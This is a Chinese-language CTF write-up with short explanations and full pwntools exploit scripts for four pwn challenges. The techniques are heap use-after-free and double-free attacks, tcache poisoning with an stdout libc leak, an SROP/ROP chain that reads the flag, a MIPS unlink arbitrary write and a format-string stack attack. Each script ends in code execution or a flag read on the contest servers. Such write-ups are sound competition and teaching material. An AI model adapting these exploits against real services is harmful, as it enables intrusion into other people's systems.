真的,noleakfmt把脑子想没了,1.2.3题还是很简单的,两个UAF和一个mips的unlink,pwn4没仔细看,pwn5和国赛一个题类似;下载附件
pwn1
因为是UAF的洞,所以可以double free,然后又给了我们一个stack地址,所以先case 3在栈上布置一个fake chunk header,再利用fastbin attack将块申请过去,因为可以一直覆盖,而read函数又不会末尾补0,因而printf(“%s”),会把libc_start_main_ret带出来,得到libc_base就打malloc_hook,realloc修一下栈,本地和远程还有点不同,修栈也有点问题
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('choise:',str(ch)) |
4 | p = process('./main') |
5 | p = remote('183.129.189.61',56304) |
6 | libc =ELF('./libc-2.23.so') |
7 | p.sendafter("name:",(p64(0) + p64(0x31))*6) |
8 | p.recvuntil('tag: ') |
9 | stack = int(p.recv(14),16) |
10 | log.info("Stack:\t" + hex(stack)) |
11 | |
12 | |
13 | ########### |
14 | def new(idx,content): |
15 | menu(1) |
16 | p.sendlineafter('your id:',str(idx)) |
17 | p.sendafter('content',content) |
18 | def free(idx): |
19 | menu(2) |
20 | p.sendlineafter('your id:',str(idx)) |
21 | def W(content): |
22 | menu(3) |
23 | p.send(content) |
24 | |
25 | p.sendlineafter('choice:',"2") |
26 | |
27 | W(p64(0) + p64(0x71) + p64(0)*2) |
28 | new(1,"AAAA") |
29 | new(2,"AAAA") |
30 | free(2) |
31 | free(1) |
32 | free(2) |
33 | new(3,p64(stack - 0x40)) |
34 | new(4,"AAAA") |
35 | new(5,"AAAA") |
36 | new(6,"A"*0x44 + 'MMMM') |
37 | W("F"*0x20) |
38 | p.recvuntil("MMMM") |
39 | libc_base = u64(p.recv(6).ljust(8,'\x00')) - 240 - libc.sym['__libc_start_main'] |
40 | log.info("LIBC:\t"+ hex(libc_base)) |
41 | free(2) |
42 | free(1) |
43 | free(2) |
44 | |
45 | rce = libc_base + 0x4527A |
46 | realloc = libc_base + libc.sym['realloc'] |
47 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
48 | new(7,p64(malloc_hook - 0x23)) |
49 | new(8,"UUUU") |
50 | new(9,'UUUU') |
51 | new(10,'\x00'*(0x13 - 8) + p64(rce) + p64(realloc + 4)) |
52 | free(1) |
53 | free(1) |
54 | p.interactive() |
pwn2
模拟了一个POST传参,其实并不难,只是一个菜单堆,可以通过测试几次就把交互模板写出来
因为又是UAF漏洞,首先放一个块进入unsorted bin中,然后tcache posion申请过去将块的fd的libc地址最后两个字节修改成IO_2_1_stdout,再用另外一个0x20的块申请过去,即可利用stdout结构leak出libc,最后则是利用free_hook,用setcontext+53制造一个SROP,将srop结构布置到堆上,释放这个块就能执行orw了
1 | from pwn import* |
2 | context.arch = 'AMD64' |
3 | def new(content): |
4 | p.sendline("POST /create Cookie: user=admin token: \x34\r\n\r\ncontent=" + content) |
5 | sleep(0.05) |
6 | def free(idx): |
7 | p.sendline("POST /del Cookie: user=admin token: \x34\r\n\r\nindex=" + str(idx)) |
8 | sleep(0.05) |
9 | def edit(idx,content): |
10 | p.sendline("POST /edit Cookie: user=admin token: \x34\r\n\r\nindex=" +str(idx) + "&content="+ content) |
11 | sleep(0.05) |
12 | while True: |
13 | p = process('./main') |
14 | p = remote('183.129.189.61',53702) |
15 | libc =ELF('./libc-2.27.so') |
16 | try: |
17 | new("A"*0x80) |
18 | new("A"*0x20 + '\x00') |
19 | new("A"*0x10 + '\x00') |
20 | new("A"*0x100) |
21 | p.recvuntil("Your gift: ") |
22 | heap_base = int(p.recvuntil('"}',drop=True),16) - 0x260 |
23 | log.info('HEAP:\t' + hex(heap_base)) |
24 | |
25 | for i in range(8): |
26 | free(0) |
27 | free(2) |
28 | free(2) |
29 | free(2) |
30 | new(p64(heap_base + 0x260)) |
31 | new(p64(heap_base + 0x260)) |
32 | new('\x60\x47') |
33 | |
34 | free(1) |
35 | free(1) |
36 | new("A"*0x20) |
37 | edit(7,p64(heap_base + 0x260)) |
38 | new("A"*0x20) |
39 | new("A"*0x20) |
40 | new("A"*0x28) |
41 | edit(10,p64(0xFBAD1800) + p64(0)*3 + '\xC8') |
42 | libc_base = u64(p.recvuntil('\x7F',timeout=0.3)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
43 | log.info('LIBC:\t' + hex(libc_base)) |
44 | free_hook = libc_base + libc.sym['__free_hook'] |
45 | system = libc_base + libc.sym['system'] |
46 | setcontext = libc_base + libc.sym['setcontext'] + 53 |
47 | rce = libc_base + 0x4F3C2 |
48 | free(2) |
49 | free(2) |
50 | new(p64(free_hook)) |
51 | new("UUUU") |
52 | new(p64(setcontext)) |
53 | ret = libc_base + 0x00000000000008AA |
54 | |
55 | Open = libc_base + libc.symbols["open"] |
56 | Read = libc_base + libc.symbols["read"] |
57 | Puts = libc_base + libc.symbols['puts'] |
58 | pop_rdi_ret = libc_base + 0x000000000002155F |
59 | pop_rsi_ret = libc_base + 0x0000000000023E8A |
60 | pop_rdx_ret = libc_base + 0x0000000000001B96 |
61 | orw = '' |
62 | orw += p64(pop_rdi_ret)+p64(heap_base + 0x3B8) |
63 | orw += p64(pop_rsi_ret)+p64(0) |
64 | orw += p64(Open) |
65 | orw += p64(pop_rdi_ret) + p64(4) |
66 | orw += p64(pop_rdx_ret) + p64(0x30) |
67 | orw += p64(pop_rsi_ret) + p64(heap_base) |
68 | orw += p64(Read) |
69 | orw += p64(pop_rdi_ret)+p64(heap_base) |
70 | orw += p64(Puts) |
71 | orw += './flag\x00' |
72 | frame = SigreturnFrame() |
73 | frame.rax = 0 |
74 | frame.rdi = 0 |
75 | frame.rsi = 0 |
76 | frame.rdx = 0 |
77 | frame.rsp = heap_base + 0x250 + 0x90 + 0x30 + 0x20 + 0x10 |
78 | frame.rip = ret |
79 | payload = orw + str(frame)[len(orw):] |
80 | edit(3,payload) |
81 | free(3) |
82 | break |
83 | except: |
84 | p.close() |
85 | continue |
86 | p.interactive() |
pwn3
简单mips,和glibc的unlink任意写做法一样
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter("options >>",str(ch)) |
4 | def new(size,content): |
5 | menu(1) |
6 | p.sendlineafter('length:',str(size)) |
7 | p.sendafter('info:',content) |
8 | def free(index): |
9 | menu(2) |
10 | p.sendlineafter('user:',str(index)) |
11 | def edit(index,content): |
12 | menu(3) |
13 | p.sendlineafter("edit:",str(index)) |
14 | p.sendafter('info:',content) |
15 | def show(index): |
16 | menu(4) |
17 | p.sendlineafter("show:",str(index)) |
18 | p = process('./run.sh',shell=True) |
19 | p = remote('183.129.189.62',58603) |
20 | free_got = 0x4117B4 |
21 | note_list = 0x411830 |
22 | new(0x80,"UUUU") |
23 | new(0x88,"UUUU") |
24 | new(0x20,"cat flag\n") |
25 | edit(0,p32(0) + p32(0x81) + p32(note_list -12) + p32(note_list -8) + '\x00'*0x70 + p32(0x80) + p32(0x90)) |
26 | free(1) |
27 | edit(0,p64(0) + p32(free_got) + p32(4)) |
28 | show(0) |
29 | p.recvuntil('info: ') |
30 | libc_base = u32(p.recv(4)) - 0x56B68 |
31 | log.info('LIBC:\t' + hex(libc_base)) |
32 | system = libc_base + 0x5F8F0 |
33 | edit(0,p32(system)) |
34 | free(2) |
35 | p.interactive() |
pwn5
思路和国赛第二天的fmt差不多,主要是利用si进入pritnf函数中,会push一个返回地址进去,这里如果利用printf中的实现函数,格式化字符串漏洞将这个返回地址改成start函数,就能抬栈,然后栈上留下_IO_2_1_stdout_的指针,然后通过栈链将这个地址改到fileno位置,修改stdout结构体中的fileno为2,之后则是拿到libc往malloc_hook中写og,再用printf触发调用malloc_hook
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | while True: |
4 | p = process('./main',timeout=0.5) |
5 | # p = remote('183.129.189.62',61405) |
6 | elf =ELF('./main') |
7 | libc =ELF('./libc-2.23.so') |
8 | |
9 | try: |
10 | p.recvuntil('gift : ') |
11 | stack = int(p.recv(14),16) |
12 | |
13 | if stack&0xFFFF > 0x2000: |
14 | p.close |
15 | continue |
16 | log.info('Stack:\t' + hex(stack)) |
17 | p.sendline('\x00'*0x50 + './flag\n') |
18 | p.sendline('%' + str((stack -0xC)&0xFFFF) + 'c%11$hn') |
19 | p.sendline('%1968c%37$hn') |
20 | sleep(0.02) |
21 | def w(off,byte): |
22 | if ord(byte): |
23 | p.sendline('%' + str((stack + off)&0xFFFF) + 'c%10$hn') |
24 | p.sendline('%' + str(ord(byte)) + 'c%36$hhn') |
25 | else: |
26 | p.sendline('%' + str((stack + off)&0xFFFF) + 'c%10$hn') |
27 | p.sendline('%36$hn') |
28 | sleep(0.05) |
29 | # gdb.attach(p,"set *(size_t*)0x7fffffffdf18=0x5555555547B0") |
30 | w(-0x54,'\x90') |
31 | p.sendline('%2c%26$n') |
32 | |
33 | p.sendline('LIBC:%9$pPIE:%8$p\x00') |
34 | p.recvuntil('LIBC:') |
35 | libc_base = int(p.recv(14),16) - 240 -libc.sym['__libc_start_main'] |
36 | log.info('LIBC:\t' + hex(libc_base)) |
37 | |
38 | p.recvuntil('PIE:') |
39 | proc_base = int(p.recv(14,timeout=0.5),16) -0x990 |
40 | log.info('Proc:\t' +hex(proc_base)) |
41 | |
42 | pop_rdi_ret = libc_base + 0x0000000000021112 |
43 | pop_rsi_ret = libc_base + 0x00000000000202F8 |
44 | pop_rdx_ret = libc_base + 0x0000000000001B92 |
45 | Open = libc_base + libc.sym['open'] |
46 | Read = libc_base + libc.sym['read'] |
47 | Puts = libc_base + libc.sym['puts'] |
48 | |
49 | ORW = p64(pop_rdi_ret) + p64(proc_base + 0x201040 + 0x50) + p64(pop_rsi_ret) + p64(0) + p64(Open) |
50 | ORW += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(proc_base + elf.bss() + 0x100) + p64(pop_rdx_ret) + p64(0x30) + p64(Read) |
51 | ORW += p64(pop_rdi_ret) + p64(proc_base + elf.bss() + 0x100) + p64(Puts) |
52 | #for i in range(len(ORW)): |
53 | # w(-0xDC + i,ORW[i]) |
54 | mhook = p64(libc_base + libc.sym['__malloc_hook']) |
55 | rce = p64(libc_base + 0xF1207) |
56 | for i in range(3,-1,-1): |
57 | w(-0xDC + i,mhook[i]) |
58 | sleep(3) |
59 | for i in range(4): |
60 | w(-0xDC,chr(ord(mhook[0]) + i)) |
61 | p.sendline('%' + str(ord(rce[i])) + 'c%9$hhn') |
62 | sleep(0.05) |
63 | p.sendline('%99999c%10$n') |
64 | break |
65 | except: |
66 | p.close() |
67 | continue |
68 | os.system("rm core") |
69 | p.interactive() |